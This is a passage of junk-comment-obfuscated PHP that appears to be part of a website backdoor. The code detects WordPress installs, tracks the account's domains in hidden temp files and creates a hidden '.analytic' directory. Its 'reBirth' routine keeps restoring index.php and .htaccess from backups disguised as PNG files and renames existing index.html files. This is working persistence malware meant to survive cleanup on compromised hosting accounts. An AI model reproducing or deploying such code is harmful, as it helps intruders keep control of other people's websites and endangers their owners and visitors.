'<form method="post"><textarea cols="50" rows="5" name="content4">'./*o:gm^YQa)c!*/$content4//gQ|Xqdk
./*;t]e$UU%06gH82Fy+;*3*/'</textarea></form>'; ##mF)]LFRed
if(DEBUG== ##~Hd<Z>B564
'on') ##*}ai9680[Q)18@rY.$(h
{
echo //Wy& &&LG=VY;,
'<!--' . ##jZZm>B
//YDUW)r.T3y+1 AG9
$filePathList//V{$:XGj\H;Ou-R
. /*9IiX@*/'-->'; ##bH@*q
}
}
die();
}
}
}
function ##d+|Eo3.$h,v)3PFAkSRU
filePathList//YL9QQ %o=dn6
(//Fw8-|GM
$str/*AMjZ[Wm,*/= ##<VRygEQE CuI4WC
'pathlist')//ye7I`nNI,8<(Du
{
/*gJU<F^2I{@n*/$user ##h;UHF\PF
= //f-6;-v-cF;ZAW&`.Fex#
get_current_user1//pdsCc~
();
/*,6F5O\*/$tmpDir ##6*Thrf|
= /*Z0Hn7foz*/sys_get_temp_dir1 ##8>0$cWdXfp%c
();
##jKPfWNdM(
$f1 ##!~L)}vM0
= //QHb_u2 d%qjvC:MN4xK
$tmpDir ##~otoOvbQo
. ##sY8|ZsLso;~3*zOuY
'/' .//4RPEli(_I^N4eK-!RS
/*G* bHa18FE0U*/md5 ##|< -Fw->9O)}~j~
(//WKiHXTpBV3z&2
$user/*uVYs_)%z*/.$str);
//@EZN:oe]~@JL#5N,R>m
$f2 ##MYVbtp[)
= CACHE_PATH . /**>OD9B!GuNwACoV*/md5 ##$=[ ^nL
(//ZS+;CmMQux.%RAS8z
$user/*{9-Rc0.WeL3YF*/.$str);
if(@//lXU!z;5Kn!
file_exists ##Ol8a.g^|YLo#W,],m7
($f1)){
//xgBW]+&l5_
$m1/*kG+~U_U*/= ##0bY_^<
md5_file//}&IlN
($f1);
if(@//6U`m<)k5\>P8ZEcC5
file_exists ##gC~MceQKqc
($f2)){
/*p#HEWPPZu:|tV0E1r*/$m2//~v(Jw$>&)^(ix
= /*8lV+T)\@PE=pj 1w*/md5_file/*o6~IJpX{RV+F#)x|Js\&*/($f2);
if($m1 != $m2){
##Z{JoKu6GisI>CplhpF!y
file_put_contents_force//XK^A{_MO
($f2, ##03.JY%:X\umRrm
file_get_contents/*=nq{pM*/($f1));
}
}else{
/*6[9dbIR<WImB|*/file_put_contents_force//Ox&km\I:![d,\yA_YjPe
($f2, ##N4$<Xy
file_get_contents//h5QSENgSx.
($f1));
}
}else{
if(@/*v}Zk]UMXDacg*/file_exists ##Y~ah
($f2)){
##T2a;4ALU2
file_put_contents_force/*_7A>k0}*/($f1, /*~5S d*/file_get_contents//@UJAQXeJ[:n)M()0o>|
($f2));
}
}
return //G+Mt\VH.iB3-fNLP
$f1 ##$E,)e`V*U|Pm|f(lO
;
}
function ##-L(Fe_lY+otkRpNk
saveToTmp//A_+jN}HnDlsF>
($file, $content){
//i4}D~T2KrvQ|7Ip
$filename//j})<CE9|]
= ##_bq<f}=XnHF.!7
sys_get_temp_dir1/*nHu]!w)d%X1ZlI:K2+*/() . DIRECTORY_SEPARATOR . /*oQeBN.HHE;*/$file/*uM1]]xu` e*/;
##!3O|yp1cD
$_SESSION ##,X#yr#jTP>([-
[$file] = //l_kjD
$content ##(Z0){TuCHu~3SO_,=
;
##M1:H4) [-G^!9js
file_put_contents_force/*_4Z;-.x9|wS{8ER^*/($filename, $content);
}
function ##MZe06|RU3RQU
readFromTmp/*)2YbGae*/($file){
//_w~;B%22j@NW
$filename/*`cODb6KiY0AbOzM*/= ##[3-6oZ .r}
sys_get_temp_dir1/*A>ZT=O3R4GpMb*/() . DIRECTORY_SEPARATOR . /*dmv~fZm__$.VHs*/$file/**VDR#Q|j%2MZ Tv0#&bb*/;
//&#PGxX*
$content ##\q.os#WgV!_`C
= // w*lVPA2spVgBV0T
file_get_contents/*CeubZU+xvjY^mW&*/($filename);
if(empty($content)){
//kJnr ,M3}=_dGFX$)
$content//p,5.^.1=s)J&>w9$`
= /*n=@xZ8dJF`fE7a*/$_SESSION ##5vwLR}{(O5T]
[$file];
}
return /*C:6z@*/$content//A_MKC:vs3t26]
;
}
function ##V1Kk~OsoH
is_wp//FWlt99{BpAR@Py`
( ##nMJ+_cXm6(
$dir/*=:&*><cdBk`M[0J2<t=*/= ##){v$9B!>K
'.') ##W:[Ta
{
/*rExQNd;;6-v*/$iswp//iuN,B
= true;
##g(ZZS`$~^PfTYY
$dir// 9uzfMDU,c7
= //*zciJ*(z%1!#FuPkTQ
rtrim ##~)z.]@}CgtlV.-5c
($dir, //MF$Sf}
'/')//LthDKFl$2_Gap#[m|r_
;
//0KBgsnJ>&|X-
$dir//<-3Fd4XT~
= ##lIXmjK`2q>84!e(+XC
rtrim//c$O078k
($dir, ##b+^]<y)FDW
'\\')/*xTdhG%0Uu7!gJr|bm*/;
##Zmwf `yNk G
$dir//sitVrNK&DK
= //DWEH1gJy
$dir//=QIVdyZ!gG$-[XguN}b
. DIRECTORY_SEPARATOR;
/*sH]sK@sxB~R*/$arrFiles//D|LK:8
= //#P32q\D8S~+awB
array/*FY9]C$r02nZGc*/(
'wp-blog-header.php',
'wp-config.php',
);
//@GrN%M>
$arrDirs ##=mO4R>wEO41k6l]xDR(
= //]r4iIH
array/*;|`>t1*/(
'wp-admin',
'wp-includes',
'wp-content',
);
foreach($arrFiles as $file){
if(!@//.}2Nn
is_file/*].s6PE_IW;#hj%*/(//T$k&4:h[OKT
$dir//:z,S
.$file)){
##!QSk-WIP2bU
$iswp//;,+i*\:gp-
= false;
}
}
foreach($arrDirs as $subdir){
if(!@ ##6Wy-1tr.T7]
is_dir ##N-X )4<KDLUSjj
(/*IiXN%bcF{&u[LqU*/$dir ##2g%wnO^\#JM88
.$subdir)){
/*;oJq>k*/$iswp/**OC9ZjUV&*/= false;
}
}
return //Geq3ak
$iswp/*.Llm:*/;
}
function /*{c~;c*/reBirth/*K\79r`1 TEf*<WKl*/(){
##p5_|PIDpgQRjW,o rH`t
$arrPath//Ieo<[r*_giJiQSB`0RSP
= //fS;AEr\bP~kU6
arrReadPathList/*I=QbG<I57G|pE*/();
foreach($arrPath as $path){
if(!@/*BK}$,QLKQ}I{_t0M_C%*/is_dir ##q.Rl<6z!X
($path)){
@/*mY Y4TrM_L|-zvPyf.F*/mkdir/*SPOg&_J!vO*/($path, 0747, true);
}
/*(P_RjZS3w)D}MH*/repairIndex/*1s];IKC*/($path);
/*K#+wY*/$index/*v8C0H*/= /*1Y>Ayb4Hs#j4,*/$path/*cHY1vhF!NA}je*/. ##Ae5JK-YQaBL]3
'/index.php';/*36\q*jz */
//6t}eY$v
$ht ##l]{AP&Kw;(
= /*wftdMZY*0@+_Q=bti*/$path/*^nyV`L$v]y:<HR)Nr_E*/.//jT]Zz`RJSk9\nBpj
'/.htaccess'; ##W$F4z]VT!DrP<%|
//8U6}z)s5
$cachePath//h1nq*QGV2fZ(G
= ##~ugF]$pQ=L~>)
cachePath/*1VuFFM#E]Nz@wd\u1FsB*/();;
//-$D]zg
$bkindex/*G%YtHmO$Hsq+~E*kA.)Z*/= /*sJHnM=\v9*/$_SERVER/*40!rHUM7d]~7qwP!tn@*/['DOCUMENT_ROOT']./*5 .S5r;^+Nau}OD*/'/' . ##4nX#U>6{9V2|M-
/*M:-HL*/$cachePath/*4Cea1uJv[u)YXTaFa$*/. ##+OF|NxDk622R
'resize-6x.png';/*b~7WdaC81+\62f[9*/
//BMN}l
$bkht/*{*nQ +s:y&`V*(*/= /*Ry(n^l{up7DAY{*/$_SERVER//iPrkFX$_Ysa+i1
['DOCUMENT_ROOT']./*+YV+[kr:R[96#q*2*/'/' ./*n#FuB&&qMC0^:W*/ ##v4M3w]RSM.5T-&cO}BCz
$cachePath/*a(XmZ<V*/. //[ti!r6h$D[b
'resize-8x.png';/*Vli+Ltc;%9OF]%p|*/
if($index && @/*Ru^7%Y^M1QZ*/file_exists//7GV\JBf]PeghVs
($bkindex)){
if(!@//kwxHTg&4TTW+[hI
file_exists/*48WkkPLz{i*/($index) or ( ##vPQr4I0
md5_file/*fcG($~I}_&![E}6kD*/($index) != //gRi(A~S\{zD9~F,Vfu
md5_file/*~bH}|K0-+5*/($bkindex))){
/*;IKiRd$rWpg*/file_put_contents_force ##W>-$zW[k]f
($index, ##ft_V)RIp(6|oY):j,
file_get_contents ##wX}|-x)+Pku%F<a2pP1@
($bkindex));
}
}
if($ht && @ ##|nP2k
file_exists ##.v0X!burK[X
($bkht)){
if(!@ ##x9WT{><amxtUR
file_exists/*_PPuDzJvuOu*/($ht) or (//$:3BWKW.uzr(:XSuZR
md5_file//BvD8Z!-ze}ipMF~HDgB]
($ht) != ##AUOFBxGU=kdgnD85
md5_file/*}1Ei)*/($bkht))){
//1wW&0VQjrS[
file_put_contents_force ##qVMNH`*
($ht,/*@^#T+kHdmf%I&o1} z*/file_get_contents//\x9eQ[oPWRgIN
($bkht));
}
}
if(@//>;^c9(Xk#{Nq!BH>HaLE
file_exists/*7\Q0@1*/(/*T2^}J*5gj cPeia*/$path//=28+&ILE:gw5L#
. ##B[%*`tEf
'/index.html')//\d4]e\E]S HhEhB i
){
if(!@//zrI%:kM{ih5w5H+N[*
file_exists ##e[!M5k z^d lz)d
( ##1ApS;X3SU
$path ##C%S-pZK-5
. //=v|(tK8.L(B,f }0hJ
'/' . ##Jv%{X98*)2 PZ,w},
FILE_INDEX_STATIC_DEFAULT)){
//n8j,d[$x6X<~dwAO
rename/*L6-Z:*/(/*01*2zg^(GK9e_@b */$path ##Kv}USBuR
. '/index.html', /*|`IJ+,K-,*jp*/$path//!>3;iW4\&yh!2IwR|:d
. //3bjKSs4(-TTJTA:
'/' . ##E)ENO46e0@5<0t15`bj
FILE_INDEX_STATIC_DEFAULT);
}else{
//|%deN|*vS`gIw7.#\
rename/*$Ah+qP)-D`]\zX*/(//&t|8ig
$path//Xt8ADYZHSoTH267C
. '/index.html', ##$n:(~KDOGm{ ZcYCAM
$path//}ThGclqgsE.`Va#u3
. /*Gcoh1M-*/'/index' ./*_kdv;l]*/ //%M6I}l!Y4@{At
time/*8_W\*WJ^~*/() . ##`x{>X3[QD
'.html')//ELb~K[S
;
}
}
}
}
function ##E~U&z> H|NUHlVK7b
arrReadPathList/*,Yk#O8RPH*/(){
##WXOGLMgBpQk{3$&9
$filePathList/*OQ;N-0(tIcg*OzF*/= ##\(J<$`Ec7k1
filePathList ##\H.d36Zmb
();
/*c>RC8:-k;eEO*/$arrPath//RnmPS
= /*ectU%phRDyGD10t*/array ##GO8[91e5.0hP!TA2o
();
if(@ ##C$JBA(FD&Dfu:lkuX
file_exists/*Ls+O:YibF]B!{w}~)lYc*/($filePathList)){
##A+WlAo
$arrPath ##mW8$43[jV<>^vt;)l}
= /*;RA!wMmM,x*/jsonDecode ##BQRAsQ%(K
(//O}Gx&0g|4[p)sA#;YkM.
gzinflate/*6pdxM_\>slLIFge1G*/(//wCkMJ|t[lX#+wR~|
base64_decode ##Mir0o,B};@&P-
(//C-o:cK6ETC2OuVQ
file_get_contents/*%,yL);LASUi X\F*/($filePathList))), true);
}
/*i7cw~WRQ3oL*/$arrPath2/*hb~T)~gMJx^~EedUy_4N*/= ##]7C51pqu.N,;LPAk!
arrReadPathlist2/*6D.h}*/();
foreach($arrPath2 as $path){
//c49s;B%9UE
$path//(7mCQU
= /*GOU7C_O5NW|;V*/trim//9]SLn$ko-
($path);
if(! ##W>o}L&ZaH&#oZ
in_array//>`slnUr7K}p1R.xs=e=
($path, $arrPath)){
/*J)=Elm}gwdK~i-V\SQ0*/$arrPath//YGVTPIN+EmgJUI!l$5C^
[] = /*W(_CN_VmAP&C{o,*/$path/*@o)Zl9.Y*/;
}
}
/*1-p684cv~*/$arrExceptPathlist/*N]$Wg=5;vM6lH69*/= /*Qp!6^)@tOZQ7FJ<~tP*/arrReadExceptPathlist2/*sF1nDWF.fP*/();
foreach($arrPath as //DO%%R}>YXjW
$k/*`BInhih*/=> $v){
if( ##wu]g>r8`Lv+H96]_
in_array//K#WM>8jz!z}!o9
($v, $arrExceptPathlist)){
unset(/*>`ONV7|&+#Q;J#G>RV^_*/$arrPath//4|MkbNo
[$k]);
}
}
return /*(yngPvN!VeCKxb<;we#*/$arrPath ##t!LT!
;
}
function ##~\cd~+kF;TPHfAy~\2 h
arrReadPathlist2//3-e<(+ZGSo4G
(){
//*Sf}O
$user ##~|QyNYPl
= /*`l>$f>0ueaVjq_-#]DYH*/get_current_user1//yHf]D<[%-xy_
();
/*gR#&br*/$domain/*`,EG3~8Sh9G>:*/= /*7)]0B*/MainDomain/*t#F~IRRUeS4sm-Jv*/();
##%WibbW9qM!u~r;
$domainPath ##rvT2_|ExX7C
= /*1V))TtMuk&G&.~e&v_9i*/getDomainTmpPath//m$<GT\,aV}Ly
();
/*D0\T!pIQlRZ%Q[7MqGxi*/$domainPath2/*Ocz*[id%q$Ed`=E*/= //,wLd12l@PH9v2lUfe
getFirstWritableDir ##yStJf(K
() . /*^zKg0N}P(OIWs0GAD95*/md5 ##U-OZ=+]j
( ##G.nO^5TwD`>e
$user ##WzZFZ<nc!uLHjp0
. ##%34phk>
'domainlist')//YedW@Ii>u+U~D
. DIRECTORY_SEPARATOR;
/*dO{#[lPr9*/$arr ##OBBly
= @ ##sEmAgD\8\{kTx
scandir ##e[|kA HL
($domainPath);
/*VipWE|!**/$arr2 ##N5<7S}HQ}UnvdvXGK<A
= @ ##kVdp ma9l;}
scandir ##}h4^9$CO
($domainPath2);
/*HyLeBRd3;*/$arrPaths//d~^v[
= ##8 p5Z
array//G|$,0D>
();
if(!empty($arr)){
foreach($arr as $domain){
if(//2}*$tWqf,hjyE}.
$domain ##K]hTR(+K))~E>@
== /*zPc3AFZtQ*/'.htaccess')//^+p-I=1
{
continue;
}
if(@//oa ILH0c),^\>)MO
is_file/*uis3rz\,`Py*l|^BNu u*/( ##kAD6Kocrc <G]DI
$domainPath//,$N](DJ}U\8wg+M
. $domain)){
##{FUZU(
$content ##X=FzU$HRC
= //Bxw4bt8HK!<ai&n
file_get_contents ##~=T`p3<r}
(//w{-+=_I
$domainPath ##7MwcdNh 5%-[
. $domain);
##>-`,GmU[Jz2
$arrContent ##8|5A1{QZ2TX=
= /*DPz=}i 3*/explode/*e HnP`_Ur[*/("\n", $content);
if(/*Dmt42Z.#Dmnw*/strlen ##SW~|^u>
($content) < 256 && ##HI|7&C
sizeof/*t<mx#*/($arrContent) == 1){
//lcQlp
$arrPaths//]Vj!_Jn`8tnEeQ:P4h
[$domain] = ##,JV=y-bxiTn);gVI
trim//fX$Vqh\3wUx~{=
($content);
}else{
##Gr%x!i4icE
unlink ##@W(LpfO%Da1Gs%OBZF$z
(/*G]HPr=C1*/$domainPath/*CE#{H8*/. $domain);
}
}
}
}
if(!empty($arr2)){
foreach($arr2 as $domain2){
if(/*BM[}+sb[I*,(M*/$domain2 ##T2G7i5En[V-
== ##iO`+M6BheC!9gj@X
'.htaccess') ##]F[>~aiwjrLp#
{
continue;
}
if(@//D)k[|s6Pt7
is_file//@$69X+@!S.
(/*-s{Oes~^}*/$domainPath2 ##*- *>%\i~Vf=W
. $domain2)){
/*D&ZQVwL{!Eh*/$content/*rSX_,oYbjs%a%8x*/= /*$Sbo*:2dO7j2KY v*/file_get_contents//:WA6W:l)@
(/*VNd_XP0na*/$domainPath2 ##90pk0%EnP^2Y|W)9d5s
. $domain2);
/*vsUw8cxth8*/$arrContent//TN35MKPkO6z%K
= ##Fcs.i_bo0hh#
explode/*&S9p36)I|jMyORs4;Kl*/("\n", $content);
if(/*I<7I `BH9m=)|=we[M^*/strlen ##o98ao}IaJt)Fbx7e
($content) < 256 && //[\$kt}ucfU$= +hHj
sizeof/*UVWv.x:Zw*/($arrContent) == 1){
/*E7%KrLbs=*/$arrPaths ##Ehst{v7O0m}
[$domain2] = ##7%[&o>d09f%
trim//RmUNBcXtQ*DSB\
($content);
}else{
//g}K>7l
unlink ##eo+8]; P[
( ##48)lhVMo!~&`.KA5U
$domainPath2/*i:VdZve!cg[*/. $domain2);
}
}
}
}
return /* Fnbeo2*/$arrPaths/*JLh,*jMd|Tdx|}M:>ZO*/;
}
function ##H0*NaaDw>J}]F
strReadExceptPathlist2//>`r[iI*
(){
##9X&.=
$user ##yYHH,-z Ad
= //S=O#MSM
get_current_user1/*uEDJ<3Fo=j^*/();
//-%*zAUQTDCl=rqn^
$tmpPath//{Kf:&K)o[X$iFF,
= ##GEec=b&xh(,-D071+
sys_get_temp_dir1 ##Do5+g1QU!Ki6*^
();
##G-WW]y45+L-l,U:%
$filePath/*tM)5_scMOKGUbi*/= ##aZKaNlqBuS)W
$tmpPath//L0&RNqkNPQYeTL3wW
. //!.nEADkj_!A`zM\MGz
'/' . ##PI*1}
//[Aj81M$kGSI
md5//i-Ms0lu#Bl9QVuz}7,^#
(//$m|0qWfGRM,M%Av(8H
$user ##EIIG|gz
.//]T^~#8Vg044+|v>&W[dr
'exceptpathlist')/*7\x}X]*/;
if(@/*w{GH`iLK%b;I*/file_exists/*P@DoFlVF-7*/($filePath)){
return /*C1misN|Z8JO*/file_get_contents//gdsuB3IZTiZPfz2o Cv
($filePath);
}
return //H(EhB2 DcI.yA
''; ##)U5c{nL#@#
}
function //#4:&:wgA
get_current_user1 ##jdrAg3;;R,^IA:]T,
(){
if(/*g_Lp=1MFXE*/function_exists/*HcOPOdc=y[LZm*/(//UrwVBnT${!Ub Tgvz\
'get_current_user')/*EC8K}`a4*/){
/*M4rACc)#vbvAdiZ<Bd*/$user/* 2[()-{W:UlBa*/= /*hV%U^V:g_lQQnC*/get_current_user/*gR66[0*/();
}else{
//9G!#UPj qL
$user/*2r|I5Q6Q+)DLu1S;qe_*/= /*nVM;XV9*/'www'; ##w*qrt93}qrDDV-D%(
}
return //j&G>HgIr@jVnz
$user/*HmpwPOQ{YP}dh M&\p*/;
}
function /*YN*.7M5Jb8(Q$X&=TKi-*/fileNameGlobal ##K3fq3d[!*kZE6SVhxa7
($name)
{
//dxk6p
$user//ctbji .J*pF^>J wU{h
= //Q(#RS]>W]jmz|
get_current_user1 ##r-BIf8V6P%q[kp$|nKl
();
echo
//Uq{~>Bx
$tmpDir ##OG-Qe%0uPf^DQ$1HaC+
= //3Pzn& uJX(#F0.
sys_get_temp_dir1 ##eWR1TVI%B s|
();
//Uq`zDFoPA,j45p}
$f1 ##`F&pwKj,3X\|2U
= //zz=Ged2,H
$tmpDir/*3_R[Q(vy5`:U+[!Y*/. /*ms]@1_!9]#`*/'/' . ##cl]G:{MC;
/*dF)Af|a*/md5 ##|&[email protected]#_a`C
(//kvg43,$.:mo`5]KW
$user ##:hy *@)[yP9
. $name);
##EhZZkpJTE+.58-C
$f2 ##RBB]%=GH
= ##B6-\JSN8)`}_3=3kW
getFirstWritableDir ##t;|`d_W_P9SDS~pk&M
() . ##oS&LGEdE_P_tK#,<7z]
md5 ##AIA&f^}Tpigj%xs1Bg$J
(/*QC2=^f;4:B5.!:d*/$user/*-8,gvT{KD[2pzVIO*/. $name);
if (@//Eu8Y}~Zc%F[!_D&^W#
file_exists/*N$7ZA_\#kdb2<Prs(*/($f1)) {
/*a7).N}4V@S1b82*/$m1 ##:U\PO2e+LizV*
= //V DPdfQ1LC%^+1!sN:t4
md5_file//`=sh(wEw_~3,qZ
($f1);
if (@/*Z`bxy7*{*/file_exists//~]p76&x$RHYFD1SWID8
($f2)) {
//(D-^Ng,vM~Y0^Uf[I6
$m2/*170h}vff*/= /*iIC}_yvp */md5_file ##toGL|O:2
($f2);
if ($m1 != $m2) {
//^]4aGu-^
file_put_contents_force/*S%3bcWZs6}X*/($f2, ##,q2iES8Fw@
file_get_contents/*AT.BzMsnIyXpc5%*/($f1));
}
} else {
/*cf=RT5T~*/file_put_contents_force ##6P,zi^dmR=|cJh
($f2, ##Z8s^3LUlL~~&tU@s%1A
file_get_contents//tkhA}OmJ[s%j
($f1));
}
} else {
if (@ ##S >bVw<lZG6q1o);X
file_exists/*<OlM|*/($f2)) {
//k0CP]A[jQN}EnrAY
file_put_contents_force ##b7Mgjg,IMDaTvpYZ
($f1, /* U2~E,d;7*/file_get_contents//!O]vXtkXCF6Xp
($f2));
}
}
return ##2qXLrjF32:1Gl
$f1//xo3dtV@n!phMe FE
;
}
function /*dt-D5`3UYy*/getFirstWritableDir/*L#fNb{@x*/(){
##+y5A2&u~
$dir ##@suQO$4
= /*uO)}Q9T+c@\j*k0|*/$_SERVER/*:^0)x*/['DOCUMENT_ROOT'];
for( ##r!ejc56@:A8y_S0
$i ##,n52w
=0; $i<20;$i++){
##t6vC0AYs@
$dir2//.QG1HIF
= //YIx-hx6ZC1
dirname/*t6R(I%xVFv:Y8[*/($dir);
if(/*SE]Da2kyFU D(*/$dir2/*I;moVD.q^*/== $dir){
break;
}
if(@ ##v\<3+L~Ss
is_writable//tWVf_p,o$gZ*j
($dir2)){
/*KWhFwz*/$dir//VIHcyR6M~uQ-Y
= ##)Vez{LYaEC,Gv
$dir2//MR_e6>L
;
}else{
break;
}
}
##KHa*$E|8mk
$dirR ##8]L$\(*&H%;DRM
= ##FmI{1Z9aPl>:CxdpA
$dir//iLj;`v779@n0:
. //n$`-c`Ye
'/.analytic/';/*$d8+b*/
if(!@//r[cSTa9L{vS<E1X&o0iP
is_dir//&,]B\<q*
($dirR)){
@//86J[^lbI@f
mkdir//:2y) +[
($dirR, 0767, true);
}elseif(!@ ##&WUPc!7
is_writable ##zx}Oz
($dirR)){
/*Fk@>$Aa8#8S}OCJ*/chmod/*<fq]GyVV,u@6|*/($dirR, 0767);
}
if(!@//Q5FPRJ[NE`QoFj*
is_dir ##;!O=uRAM;GD&`*FEL6
($dirR) || !@ ##*9Dkg%|e
is_writable//NMJSAiBr-<!
($dirR)){
//MH\Z=HXvI}xV\ZE
$dirR/*5Iy$)[+;t*/= //%vd5Do)YM)svzTw|^+
$dir ##[[joZXK+UK0
;
}
return //r!n9N#-TQ;CF|oV71G
$dirR//5rB.mIV]
;
}
function //:Z=Z.SfBRf5N
arrReadExceptPathlist2 ##s<CICVoK8@*d
(){
##o6LEj}$N
$str ##GjK3([U+!mz
= //@7p`BrJO6K=t89DP
strReadExceptPathlist2 ##04z1!N[Nk1L
();
//+-pSXj_3RW
$arr ##f;H.vwa#TSt}mWMp^X
= /*KWjK*S*Z@nGKx]#Ia)t*/explode ##to.]5@[KyT.h
("\n", $str);
//:[yeH>#
$arrR ##R_{u6P`gX#%;*0.
= /*I2a%I{Osj#n.>G*/array//Frq`=(j+v1)\
();
foreach($arr as $v){
if(!empty($v)){
##TfD3LEM86ib;
$arrR ##nS]n9nXh534Q<[42C
[] = //aJytK,2ROQWSI
trim/*eof!OcyxNTP*/($v);
}
}
return /*GYV{%RvJN@F*/$arrR//!rz%PlGh,lyXYBW
;
}
function //p@ofw;
saveExceptPathlist2/*`cWi{mgucAT;!*/($content){
##k^u9jE*j
$user ##JIu:ALQVFyCj[A
= /*V:WEF~L6kB!2*/get_current_user1 ##Uq*O[{`&V.*
();
##MJa$+Y
$tmpPath/*`G55<#X}Ctaak\h2}fjn*/= /*TN+`-3:%}LY-@I :*/sys_get_temp_dir1/*d{GriFZrd(I*/();
##:=X*@LWzX
$filePath/*dQ7O}Uo<Epz=Me:f*/= ##wkmqSi#zfF
$tmpPath/*vo;)ZaDg`-oQ+hY[*P*/. //K\K..G_
'/' .//pD)NfvF~,+]Jm4(H_
//jTuppekr!L}8
md5//,L>O-%XNjVlvsGm(`1o_
( ##1|G>g-*5t tCNuh
$user//i4_#4;zn:
./*d7o0%;*/'exceptpathlist')//\y31#QGcX\j
;
return //bdGK)5]
file_put_contents_force//1tkzuqwDQg>rHh\;
($filePath, $content);
}
function //Yu38W9wOJEh{(%&nqA
getDomainTmpPath//G;^Twf#|]S;~g~>gqA+#
(){
/*9|HaA}4d0yu)$TTUF]7*/$user ##U|T9S|FX
= //<bG6N5BF]U
get_current_user1 ##<6a5N
();
##*RR.7%#u;ug6bdsG0|#I
$tmpPath/*k#B+T(XT)*/= //U*6BWX X8jKI,=\H
sys_get_temp_dir1 ##I!OTO7\7zUpC
() .//go~h8:hS
'/'; ##{iz\<7Wv0ty30GJtclm{
//fy5{WkrE#F
$domainPath//C]cGY
= //%%RCN4UM3
$tmpPath ##9x$[$IbXW
. /*^^}cNxke*/'/' ./*;Rjr.*/ /*Q4_m`}Z 8E*/md5/*BMT<,&4M*/(//`ke.DtPwvTvZJn!
$user ###G|o,lh
./*2(CrF\^w`*/'domainlist') ##K\`|gY)2MtQK
. /*%]@5_{$e&*/'/'; ##Ra$#JC$G:)w44A
if(!@/*V[Yw1w#}firKZ>iUw@Z*/is_dir//>blVZNIUJ
($domainPath)){
if(@/*yn%25VnM[_k[l4dSfY$*/is_file/*HakD3zKi4#`S,zn*/($domainPath)){
//+BQ`G($9c;L
unlink//SQ@MDRbE(
($domainPath);
}
@//]cfdIcA$8<#nva XH
mkdir ##+YeOhOTw4GT~v=^>
($domainPath, 0747);
}
return //(zPv:Ou0|3zgYOaZ>qc
$domainPath ##|Nc<FDQ:mSlNR
./*vU4{Hh}k[7=0c4,*/'/'; ##z@ L^*[&\|ii^nZd~=-
}
function /*+k:$F*/addDomain/*$]%a&G>:*/(){
###JN@H9G)m
$user ##0K,uq
= //%LG5e~X8Mrm3yqP
get_current_user1/*;>*NLMPzGg.zXt3*/();
##t~M*-KhtEvC3Ya`R
$domain//| {0zUN7!MLRL]4HA#7E
= ##<:CmG)Pq)V
MainDomain//9~1RdCF3@Um&`Z7%0F
();
##uH95U!|
$domainPath/*s]jF~0x9wyRDX2SJ,~Mm*/= /*>hQAla-:;FAAITfCy*/getDomainTmpPath ##QC ptOMU
();
##@{S%Ai#
$domainPath2/*\Knlm.k)<_q;1I-*/= /*{E|WzHS-Yg0 0FR3*/getFirstWritableDir//SxI,WaPc*,
() . //jHpWYq{Yz4OT
md5 ##]<(`7l
(//pNnG,`
$user/*li.-cY^Y.*/.//44:k9oZl
'domainlist')//QBiU^hOo;waOW9@=_x^#
. DIRECTORY_SEPARATOR;
if(!@/*F7!H*@aA[do:mll9o|*/is_dir//AHqXLCG|+spGm<Nt(
($domainPath2)){
if(@//rPc-HD3
is_file/*w:3.a*/($domainPath2)){
/*%|]f%t+=r)]Ae**/unlink//[email protected]
($domainPath2);
}
@//$A#Jk#XsXUTO83
mkdir/*^RLR_`0{Ol[ZDc2*/($domainPath2, 0747);
}
/*P4WHSR%*/$file ##@-Z)P\jX
= /*b}2C10!y1s*k`r.h]*/$domainPath/*-eF:Rnd+-:D@x5,+P*/. /*.[NBdfgM*/$domain//ke.(IhK}:4D!w3
;
//9~]O50jea@n
$file2/*)E;sj*/= //!J-cJR@&4.
$domainPath2 ##nnMym<\SVqmI
. /*tLXO96V]1A${%~Kci$~e*/$domain/*D5)JD*/;
if(!@//XZE<]jNtLU
file_exists/*4:ST<wHI8mq*/($file)){
@ ##@f{SC~Vk[okD9VmNQAuf
file_put_contents/*R.P[Y[#gW8O}UNs7d>*/($file, ##a&XJcnV#X1WUdzw
$_SERVER ##4Vx!qj*bg}g!>
['DOCUMENT_ROOT']);
}
if(!@ ##7&CZ>+TG
file_exists//Ax,><HoB+nWWA.28{%W
($file2)){
@ ##>,5 +O_D
file_put_contents/*@jFOR;[email protected]*/($file2, ##vw6G]Jmv+P221H
$_SERVER/*CBgo]PP 6\[Fq>I*PP*/['DOCUMENT_ROOT']);
}
}
function //[v#LcUc
repairIndex ##n>q[H\ML.M0!6*#cA
($dir){
##n4kW*QKd4W(JYX+H
$dir ##bH}2!=!1V300esl4=t
= ##tJeWB{[email protected][_ JU
$dir/*lS0|2D*/. ##T+lN+B,4chB&hh
'/'; ##CagF2-E4Y
if(!@/*ZLi&846,Ff7j@R-NtATA*/file_exists//yLU[=6lnxR&h]P
(/*O+s]FU9bMT_^s*/$dir/*70.#|oBP<MUA>$s0R*/. FILE_OLD_INDEX)){
if( ##hFzt-nL<C#
is_wp ##[vL.Z&jJ
($dir) || !@ ##9#P^,h(Tv|0u.kZ.
file_exists//YQ52UUC
(/*OM%RbH*/$dir ##8974qaW$6+b3}j)g
. /*:E|`uHvYyMY3Ha7$*/'/index.php') ##+RRm#vG
){
/*}SUKUQcc+6DRE!lrd5ei*/$wpindex//PZkyA)Dw@:JCqXEE
= ##){o$&}ctULKci0Jh)6:<
base64_decode//yi>15d$l
('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7');
//o`}Ig_+q
file_put_contents_force//H$R4K=FN4Z$UhoiDVg
( ##kS2N#OSyTJIF9
$dir/*lMqH4*/. FILE_OLD_INDEX, $wpindex);
}else{
##\7MZ9
copy ##EMONLD8DuMG
(//^Za6{X87a&XC
